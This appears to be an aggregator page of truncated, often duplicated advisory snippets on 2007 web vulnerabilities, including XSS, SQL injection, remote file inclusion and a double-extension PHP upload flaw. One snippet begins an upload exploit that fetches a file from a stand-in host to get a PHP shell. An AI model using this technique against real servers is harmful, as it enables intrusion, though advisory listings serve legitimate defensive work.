PHP import_request_variables() arbitrary variable overwrite

PHP importrequestvariables arbitrary variable overwrite Name Using importrequestvariables you can overwrite $ and $ any php variable. Systems Affected PHP =4.0.7 =5.2.1 Severity High Vendor http://www.php.net/ Advisory http://www.wisec.it/vulns.php?id=10 http://www.wisec.it/vuln10.txt Authors...

zpanel.txt

ZPanel Remote File Inclusion ZPanel is a hosting control panel used by web hosts to give their users a friendly interface to manage any aspects of their hosting or account information. ZPanel is an open source project and runs on Windows and Linux. zpanel tested on : Windows : 2000 Adv. Server,20...

CVE-2007-0950

Cross-site scripting XSS vulnerability in listmain.asp in Fullaspsite ASP Hosting Site allows remote attackers to inject arbitrary web script or HTML via the cat parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in listmain.asp in Fullaspsite ASP Hosting Site allows remote attackers to inject arbitrary web script or HTML via the cat parameter...

Sql injection

SQL injection vulnerability in listmain.asp in Fullaspsite ASP Hosting Site allows remote attackers to execute arbitrary SQL commands via the cat parameter...

CVE-2007-0950

CVE-2007-0950 is an XSS vulnerability in listmain.asp of the Fullaspsite ASP Hosting Site, exploitable by injecting arbitrary script via the cat parameter. The NVD entry records a CVSS v2 base score of 6.8 (Network attack vector, Medium access complexity, No authentication, Partial impact on conf...

CVE-2007-0951

Technical details (affected products, versions, root cause, or fixes) are not publicly available in the provided connected documents. Monitor for updates.

CVE-2007-0950

Cross-site scripting XSS vulnerability in listmain.asp in Fullaspsite ASP Hosting Site allows remote attackers to inject arbitrary web script or HTML via the cat parameter...

CVE-2007-0950: Undefined Security Weakness

Cross-site scripting XSS vulnerability in listmain.asp in Fullaspsite ASP Hosting Site allows remote attackers to inject arbitrary web script or HTML via the cat parameter...

CVE-2007-0951: Undefined Security Weakness

SQL injection vulnerability in listmain.asp in Fullaspsite ASP Hosting Site allows remote attackers to execute arbitrary SQL commands via the cat parameter...

Fullaspsite ASP Hosting Site - listmain.asp?cat SQL Injection

Fullaspsite ASP Hosting Site - listmain.asp?cat SQL Injection source: https://www.securityfocus.com/bid/22545/info Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly...

Fullaspsite ASP Hosting Site - listmain.asp?cat Cross-Site Scripting

Fullaspsite ASP Hosting Site - listmain.asp?cat Cross-Site Scripting source: https://www.securityfocus.com/bid/22545/info Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to...

Unrestricted file upload

Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...

CVE-2007-0871

Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...

CVE-2007-0871

Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...

CVE-2007-0871

The CVE-2007-0871 entry concerns the eXtremePow eXtreme File Hosting product, where an unrestricted file upload vulnerability exists. The underlying issue is that an attacker can upload files with double extensions (for example, .rar.php or .zip.php), enabling remote execution of PHP code on the ...

CVE-2007-0871: Undefined Security Weakness

Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...

eXtreme File Hosting remote file upload vulnerability

A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell. bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain ?php $file = 'http://sample.com/evilefile.php';...

eXtreme File Hosting - Arbitrary .RAR File Upload

eXtreme File Hosting - Arbitrary .RAR File Upload source: https://www.securityfocus.com/bid/22498/info eXtreme File Hosting is prone to an arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue could allow an attacker to upload and...

eXtreme File Hosting - Arbitrary '.RAR' File Upload

source: https://www.securityfocus.com/bid/22498/info eXtreme File Hosting is prone to an arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue could allow an attacker to upload and execute arbitrary PHP script code in the context ...